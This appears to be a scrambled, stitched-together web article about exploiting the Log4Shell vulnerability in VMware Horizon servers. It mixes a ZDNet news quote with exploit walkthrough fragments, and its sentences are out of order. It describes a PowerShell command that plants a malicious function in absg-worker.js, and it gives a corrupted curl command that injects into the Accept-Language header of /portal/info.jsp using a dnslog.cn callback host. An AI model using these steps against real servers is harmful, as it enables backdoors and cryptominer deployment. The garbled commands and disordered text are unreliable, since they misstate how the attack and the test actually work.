The PowerShell command then inserts a function similar to the one shown below: if (String(req.url).An anonymous reader quotes a report from ZDNet: The Log4Shell vulnerability is being actively exploited to deliver backdoors and cryptocurrency miners to vulnerable VMware Horizon servers. It only occurs once in the absg-worker.js file and provides us with a great place to place a malicious function. What is happening on that line is widely irrelevant to the attacker. The command first looks for a line containing the text, “()”. In my opinion, whoever wrote that deserves a medal. To test for the vulnerability, let’s first grab a hostname from dnslog.cn and insert it in the following cURL command: curl -vv -H "Accept-Language: \$|Set-Content $path User-Agent: Mozilla/5.0 (Windows NT 10.0 Win64 圆4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/.45 Safari/537.36Īccept: text/html,application/xhtml+xml,application/xml q=0.9,image/avif,image/webp,image/apng,*/* q=0.8,application/signed-exchange v=b3 q=0.9
The vulnerability itself is in the “Accept-Language” header issued to the endpoint “/portal/info.jsp” A complete web request to this endpoint is provided below: GET /portal/info.jsp HTTP/1.1 Navigating to the webpage for the application in a web browser will look something like the following: This part of the application serves the web application that provides browser access to Horizon services. Horizon has several components, one of which is the VMWare View framework. VMWare Horizon is used to provide a remote desktop session to users via a web browser.
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